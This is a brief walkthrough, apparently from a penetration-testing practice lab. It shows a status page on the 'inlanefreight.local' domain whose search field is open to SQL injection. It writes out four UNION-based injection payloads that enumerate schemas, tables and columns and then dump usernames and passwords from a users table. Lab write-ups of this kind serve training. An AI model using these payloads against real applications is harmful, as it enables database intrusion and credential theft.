status.inlanefreight.local

Its just a single page with a search function. Looks like it reads from a database.

SQL Injection works. Using UNION injection we can determine the number of columns.

4 is the limit

Listing Databases

cn' UNION select 1,schema_name,3,4 from INFORMATION_SCHEMA.SCHEMATA-- -

Only the status DB looks interesting.

cn' UNION select 1,TABLE_NAME,TABLE_SCHEMA,4 from INFORMATION_SCHEMA.TABLES where table_schema='status'-- -

Looking inside the users table we find some juicy columns.

cn' UNION select 1,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA from INFORMATION_SCHEMA.COLUMNS where table_name='users'-- -

We can dump this table:

cn' UNION select 1, username, password, 4 from status.users-- -